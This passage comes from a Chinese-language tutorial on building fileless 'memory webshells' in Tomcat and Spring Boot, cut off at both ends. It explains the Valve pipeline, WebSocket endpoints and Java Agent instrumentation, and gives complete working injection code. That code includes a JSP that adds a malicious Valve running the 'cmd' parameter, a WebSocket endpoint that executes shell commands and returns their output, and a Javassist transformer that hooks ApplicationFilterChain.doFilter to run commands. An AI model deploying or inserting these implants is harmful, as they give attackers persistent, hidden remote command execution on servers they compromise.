@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
};

//获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

//从StandardContext.createWapper()获得一个Wapper对象
Wrapper newWrapper = stdcontext.createWrapper();
String name = httpServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
//将Wrapper添加到StandardContext
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/Sentiment", name);
%>

2.4valve内存马

2.4.1 valve是什么

在上文有文章介绍过valve是什么可以在看以下文章https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09

https://www.cnblogs.com/coldridgeValley/p/5816414.html

https://xz.aliyun.com/t/13639?time__1311=mqmxnQ0QiQi%3DDtDkDlxGOUDyj%2BIni33EErD&alichlgref=https%3A%2F%2Fcn.bing.com%2F

这里直接贴出参考文章的解释

tomcat中的Container有4种,分别是Engine、Host、Context和Wrapper,这4个Container的实现类分别是StandardEngine、StandardHost、StandardContext和StandardWrapper。4种容器的关系是包含关系,Engine包含Host,Host包含Context,Context包含Wrapper,Wrapper则代表最基础的一个Servlet
tomcat由Connector和Container两部分组成,而当网络请求过来的时候Connector先将请求包装为Request,然后将Request交由Container进行处理,最终返回给请求方。而Container处理的第一层就是Engine容器,但是在tomcat中Engine容器不会直接调用Host容器去处理请求,那么请求是怎么在4个容器中流转的,4个容器之间是怎么依次调用的呢?

原来,当请求到达Engine容器的时候,Engine并非是直接调用对应的Host去处理相关的请求,而是调用了自己的一个组件去处理,这个组件就叫做pipeline组件,跟pipeline相关的还有个也是容器内部的组件,叫做valve组件。

Pipeline的作用就如其中文意思一样——管道,可以把不同容器想象成一个独立的个体,那么pipeline就可以理解为不同容器之间的管道,道路,桥梁。那Valve这个组件是什么东西呢?Valve也可以直接按照字面意思去理解为阀门。我们知道,在生活中可以看到每个管道上面都有阀门,Pipeline和Valve关系也是一样的。Valve代表管道上的阀门,可以控制管道的流向,当然每个管道上可以有多个阀门。如果把Pipeline比作公路的话,那么Valve可以理解为公路上的收费站,车代表Pipeline中的内容,那么每个收费站都会对其中的内容做一些处理(收费,查证件等)。

在Catalina中,4种容器都有自己的Pipeline组件,每个Pipeline组件上至少会设定一个Valve,这个Valve我们称之为BaseValve,也就是基础阀。基础阀的作用是连接当前容器的下一个容器(通常是自己的自容器),可以说基础阀是两个容器之间的桥梁。

Pipeline定义对应的接口Pipeline,标准实现了StandardPipeline。Valve定义对应的接口Valve,抽象实现类ValveBase,4个容器对应基础阀门分别是StandardEngineValve,StandardHostValve,StandardContextValve,StandardWrapperValve。在实际运行中,Pipeline和Valve运行机制如下图:

2.4.2调用过程

这里我们在filter的方法里下一个断点看一下 Valve调用过程

我们可以看到箭头中指的地方

在接收到Http请求之后调用了箭头所指的方法其调用CoyoteAdapter类里面的service方法

该方法中获取了Pipeline的第一个Valve,并且调用了invoke也就是StandardEngineValve

继续跟进

发现调用了下一个valve也就是调用栈中所表示出来的那些valve就不一一列举了,最后调用到StandardWrapperValve这个valve然后就调用filter过滤链之后在调用servlet

所以在这里我们可以思考一下唉,如果我们能够在这个pipeline这个管道中给他添加一个我们恶意的valve那也就是可以注入内存马,这里我们需要找到一个可以将valve加入到管道中的方法,我们可以发现pipeline这个接口中存在一个方法

存在一个addValve方法可以添加进去。我们看一下Pipeline的实现类

所以只需要获取StanderdPipeline 对象就可以了。又因为我们在jsp中不能够直接获取到StanderdPipeline对象只能获取像standardcontext 这类对象,我们看看他有没有能直接获取StanderdPipeline对象的方法。

可以发现在里面有getPipeline这个方法。就是返回的StanderdPipeline对象所以我们就可以编写我们的内存马了。

总结

编写Valve恶意类,实现Valve接口,重写invoke->恶意代码逻辑

获取StandardContext对象

StandardContext.getPipeline获取StandardPipeline

StandardPipeline.addValve(Valve_Shell)添加恶意Valve

分析流程参考网上的我自己的环境有点问题没法进入调试

https://lemono.fun/tomcat-valve-ws/#%E5%8A%A8%E6%80%81%E6%B7%BB%E5%8A%A0Valve

https://xz.aliyun.com/t/13639?time__1311=mqmxnQ0QiQi%3DDtDkDlxGOUDyj%2BIni33EErD&alichlgref=https%3A%2F%2Fcn.bing.com%2F

2.4.3demo编写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>

<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>


<%
class EvilValve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("111");
try {
Runtime.getRuntime().exec(request.getParameter("cmd"));
} catch (Exception e) {

} } }%>

<%
// 更简单的方法 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();


standardContext.getPipeline().addValve(new EvilValve());

out.println("inject success");
%>

2.5websocket内存马

2.5.1websocket简介

参考:https://stefan.blog.csdn.net/article/details/120025498

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。

2.5.2服务端实现

2.5.2.1注解方式实现
  • value:必要,String类型,此Endpoint部署的URI路径。
  • configurator:非必要,继承ServerEndpointConfig.Configurator的类,主要提供ServerEndpoint对象的创建方式扩展(如果使用Tomcat的WebSocket实现,默认是反射创建ServerEndpoint对象)。
  • decoders:非必要,继承Decoder的类,用户可以自定义一些消息解码器,比如通信的消息是一个对象,接收到消息可以自动解码封装成消息对象。
  • encoders:非必要,继承Encoder的类,此端点将使用的编码器类的有序数组,定义解码器和编码器的好处是可以规范使用层消息的传输。
  • subprotocols:非必要,String数组类型,用户在WebSocket协议下自定义扩展一些子协议。
1
@ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class)

@ServerEndpoint可以注解到任何类上,但是想实现服务端的完整功能,还需要配合几个生命周期的注解使用,这些生命周期注解只能注解在方法上:

  • @OnOpen 建立连接时触发。
  • @OnClose 关闭连接时触发。
  • @OnError 发生异常时触发。
  • @OnMessage 接收到消息时触发。
2.5.2.2继承抽象类

继承抽象类Endpoint,重写几个生命周期方法,实现两个接口,比加注解 @ServerEndpoint方式更麻烦。

其中重写onMessage需要实现接口jakarta.websocket.MessageHandler,给Endpoint分配URI路径需要实现接口jakarta.websocket.server.ServerApplicationConfig。

而URI path、encoders、decoders、configurator等配置信息由jakarta.websocket.server.ServerEndpointConfig管理,默认实现jakarta.websocket.server.DefaultServerEndpointConfig。

1
ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}").decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator()).build();

Tomcat WebSocket的加载

Tomcat提供了一个javax.servlet.ServletContainerInitializer的实现类org.apache.tomcat.websocket.server.WsSci。

ServletContainerInitializer(SCI) 是 Servlet 3.0 新增的一个接口,主要用于在容器启动阶段通过编程风格注册Filter, Servlet以及Listener,以取代通过web.xml配置注册。这样就利于开发内聚的web应用框架.

具体可看:Servlet3.0研究之ServletContainerInitializer接口

因此Tomcat的WebSocket加载是通过SCI机制完成的

WsSci可以处理的类型有三种:

  • 添加了注解@ServerEndpoint的类
  • Endpoint的子类
  • ServerApplicationConfig的实现类

Tomcat在Web应用启动时会在StandardContext的startInternal方法里通过 WsSci 的onStartup方法初始化 Listener 和 servlet,再扫描 classpath下带有注解@ServerEndpoint的类和Endpoint子类

如果当前应用存在ServerApplicationConfig实现,则通过ServerApplicationConfig获取Endpoint子类的配置(ServerEndpointConfig实例,包含了请求路径等信息)和符合条件的注解类,通过调用addEndpoint将结果注册到WebSocketContainer上;如果当前应用没有定义ServerApplicationConfig的实现类,那么WsSci默认只将所有扫描到的注解式Endpoint注册到WebSocketContainer。因此,如果采用可编程方式定义Endpoint,那么必须添加ServerApplicationConfig实现。

然后startInternal方法里为ServletContext添加一个过滤器org.apache.tomcat.websocket.server.WsFilter,它用于判断当前请求是否为WebSocket请求,以便完成握手(所以任何Tomcat都可以用java-memshell-scanner看到WsFilter)。

Tomcat WebSocket内存马的实现

我们先来回顾一下servlet-api型内存马的实现步骤,拿Filter型举例:

  1. 获取当前的StandardContext
  2. 创建恶意Filter
  3. 创建filterDef封装Filter对象,调用StandardContext.addFilterDef方法将filterDef添加到filterDefs
  4. 创建filterMap将URL和filter进行绑定,调用StandardContext.addFilterMapBefore方法将filterMap添加到filterMaps中
  5. 获取filterConfigs变量,并向其中添加filterConfig对象

既然要插入恶意Filter,那么我们就需要在Tomcat启动过程中寻找添加FIlter的方法,而filterDef、filterMap、filterConfigs都是StandardContext对象的属性,并且也有相应的add方法,那么我们就需要先获取StandardContext,再调用相应的方法。

WebSocket内存马也很类似,上一节提到了WsSci 的onStartup扫描 classpath下带有注解@ServerEndpoint的类和Endpoint子类,并且调用addEndpoint方法注册到WebSocketContainer上。那么我们应该从WebSocketContainer出发,而WsServerContainer是在StandardContext里面创建的,那么,显而易见的:

  1. 获取当前的StandardContext
  2. 通过StandardContext获取ServerContainer
  3. 定义一个恶意类,并创建一个ServerEndpointConfig,给这个恶意类分配URI path
  4. 调用ServerContainer.addEndpoint方法,将创建的ServerEndpointConfig添加进去
1
2
3
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(evil.class, "/ws").build();
container.addEndpoint(config);

2.5.3完整的jsp注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>

<%!
public static class C extends Endpoint implements MessageHandler.Whole<String> {

private Session session;

@Override
public void onMessage(String s) {
try {
Process process;

boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
} else {
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
}

InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();

int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();

process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}

@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>

<%
// String path = request.getParameter("path");
String path = "/evil";
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

try {
if (servletContext.getAttribute(path) == null) {
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path, path);
}
out.println("success, connect url path: " + servletContext.getContextPath() + path);
} catch (Exception e) {
out.println(e.toString());
}
%>

参考:https://xz.aliyun.com/t/11549?time__1311=mqmx0DBD2Gd4lOz30%3D3G%3DWwRQDuBhCoD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F

https://paoka1.top/2023/04/21/Tomcat-WebSocket-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/

https://xz.aliyun.com/t/11566?time__1311=mqmx0DBD2QK7uD0vofDyACFwRQKDu7gYD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F

https://veo.pub/2022/memshell/#3-websocket%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95

2.6upgrade内存马

参考:https://mp.weixin.qq.com/s/RuP8cfjUXnLVJezBBBqsYw

https://www.freebuf.com/vuls/345119.html

2.7executor内存马

参考:https://xz.aliyun.com/t/11593?time__1311=mqmx0DBD2QD%3D%3DBKDsKE4fD9DNqTeoTD

https://www.freebuf.com/vuls/344812.html

https://xz.aliyun.com/t/11613

https://xz.aliyun.com/t/13639

3.agent内存马

参考:https://goodapple.top/archives/1355

https://drun1baby.top/2023/12/07/Java-Agent-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/#Instrumentation-%E7%9A%84%E5%B1%80%E9%99%90%E6%80%A7

我们知道Java是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。

实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?

对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图

Java Agent示例

premain-Agent

我们首先来实现一个简单的premain-Agent,创建一个Maven项目,编写一个简单的premain-Agent

1
2
3
4
5
6
7
8
9
10
11
package com.java.premain.agent;

import java.lang.instrument.Instrumentation;

public class Java_Agent_premain {
public static void premain(String args, Instrumentation inst) {
for (int i =0 ; i<10 ; i++){
System.out.println("调用了premain-Agent!");
}
}
}

接着在resource/META-INF/下创建MANIFEST.MF清单文件用以指定premain-Agent的启动类

1
2
3
Manifest-Version: 1.0
Premain-Class: com.java.premain.agent.Java_Agent_premain

将其打包成jar文件

然后直接build就可以了

创建一个目标类

1
2
3
4
5
public class Hello {
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

添加JVM Options(注意冒号之后不能有空格)

1
-javaagent:"out/artifacts/Java_Agent_jar/Java_Agent.jar"

运行结果如下

agentmain-Agent

相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和JVM有关的两个类。

VirtualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。

该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()
VirtualMachineDescriptor类

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class get_PID {
public static void main(String[] args) {

//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("get_PID"))
System.out.println(vmd.id());
}

}
}


##
4908

Process finished with exit code 0

下面我们就来实现一个agentmain-Agent。首先我们编写一个Hello类,模拟正在运行的JVM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import static java.lang.Thread.sleep;

public class hello {
public static void main(String[] args) throws InterruptedException {
while (true){
hello();
sleep(3000);
}
}

public static void hello(){
System.out.println("Hello World!");
}
}

同时配置MANIFEST.MF文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.java.agentmain.agent;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Java_Agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}

同时配置MANIFEST.MF文件

1
2
3
Manifest-Version: 1.0
Agent-Class: com.java.agentmain.agent.Java_Agent_agentmain

编译打包成jar文件out/artifacts/Java_Agent_jar/Java_Agent.jar

最后编写一个Inject_Agent类,获取特定JVM的PID并注入Agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.java.inject;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

Instrumentation

Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

其在Java中是一个接口,常用方法如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public interface Instrumentation {

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);


//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;



//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

//获取一个对象的大小
long getObjectSize(Object objectToSize);

}
获取目标JVM已加载类

下面我们简单实现一个能够获取目标JVM已加载类的agentmain-Agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.java.agentmain.instrumentation;

import java.lang.instrument.Instrumentation;

public class Java_Agent_agentmain_Instrumentation {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
Class [] classes = inst.getAllLoadedClasses();

for(Class cls : classes){
System.out.println("------------------------------------------");
System.out.println("加载类: "+cls.getName());
System.out.println("是否可被修改: "+inst.isModifiableClass(cls));
}
}
}

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Hello World!
Hello World!
------------------------------------------
加载类: com.java.agentmain.instrumentation.Java_Agent_agentmain_Instrumentation
是否可被修改: true
------------------------------------------
加载类: Sleep_Hello
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$1
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$Agent
是否可被修改: true

...

ClassFileTransformer接口中只有一个transform()方法,返回值为字节数组,作为转换后的字节码注入到目标JVM中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public interface ClassFileTransformer {

/**
* 类文件转换方法,重写transform方法可获取到待加载的类相关信息
*
* @param loader 定义要转换的类加载器;如果是引导加载器如Bootstrap ClassLoader,则为 null
* @param className 完全限定类内部形式的类名称,格式如:java/lang/Runtime
* @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
* @param protectionDomain 要定义或重定义的类的保护域
* @param classfileBuffer 类文件格式的输入字节缓冲区(不得修改)
* @return 返回一个通过ASM修改后添加了防御代码的字节码byte数组。
*/

byte[] transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException;
}

在通过 addTransformer 注册一个transformer后,每次定义或者重定义新类都会调用transformer。所谓定义,即是通过ClassLoader.defineClass加载进来的类。而重定义是通过Instrumentation.redefineClasses方法重定义的类。

当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。

转换将按以下顺序应用:

  • 不可重转换转换器
  • 不可重转换本机转换器
  • 可重转换转换器
  • 可重转换本机转换器

至于transformer中对字节码的具体操作,则需要使用到Javassisit类。在这篇文章中,我已经介绍过了Javassist的用法。下面我就来修改一个正在运行JVM的字节码。

修改目标JVM的Class字节码

首先编写一个目标类com.sleep.hello.Sleep_Hello.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import static java.lang.Thread.sleep;

public class hello {
public static void main(String[] args) throws InterruptedException {
while (true){
hello();
sleep(3000);
}
}

public static void hello(){
System.out.println("Hello World!");
}
}

编写一个agentmain-Agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.zbz;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

import static java.lang.Thread.sleep;

public class java_agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("org.example.hello")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

继承ClassFileTransformer类编写一个transformer,修改对应类的字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.zbz;



import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Hello_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.example.hello");

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

这里有个坑就是药在resources目录的文件中添加

1
2
3
4
Manifest-Version: 1.0
Agent-Class: com.zbz.java_agent_agentmain
Can-Redefine-Classes: true
Can-Retransform-Classes: true

Instrumentation的局限性

大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:

premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是private static/final修饰的
  5. 可以修改方法体

Agent内存马

现在我们可以通过Java Agent技术来修改正在运行JVM中的方法体,那么我们可以Hook一些JVM一定会调用、并且Hook之后不会影响正常业务逻辑的的方法来实现内存马。

这里我们以Spring Boot为例,来实现一个Agent内存马

Spring Boot中的Tomcat

我们知道,Spring Boot中内嵌了一个embed Tomcat作为其启动容器。既然是Tomcat,那肯定有相应的组件容器。我们先来调试一下SpringBoot,部分调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Context:20, Context_Learn (com.example.spring_controller)
...
(org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
...

可以看到会按照责任链机制反复调用ApplicationFilterChain#doFilter()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
(java.security.PrivilegedExceptionAction<Void>) () -> {
internalDoFilter(req,res);
return null;
}
);
} ...
}
} else {
internalDoFilter(request,response);
}
}

跟到internalDoFilter()方法中

1
2
3
4
5
6
7
8
9
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
...
}
}

以上两个方法均拥有ServletRequest和ServletResponse,并且hook不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用

利用Java Agent实现Spring Filter内存马

我们复用上面的agentmain-Agent,修改字节码的关键在于transformer()方法,因此我们重写该方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.java.agentmain.instrumentation.transformer;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Filter_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

Inject_Agent_Spring类如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
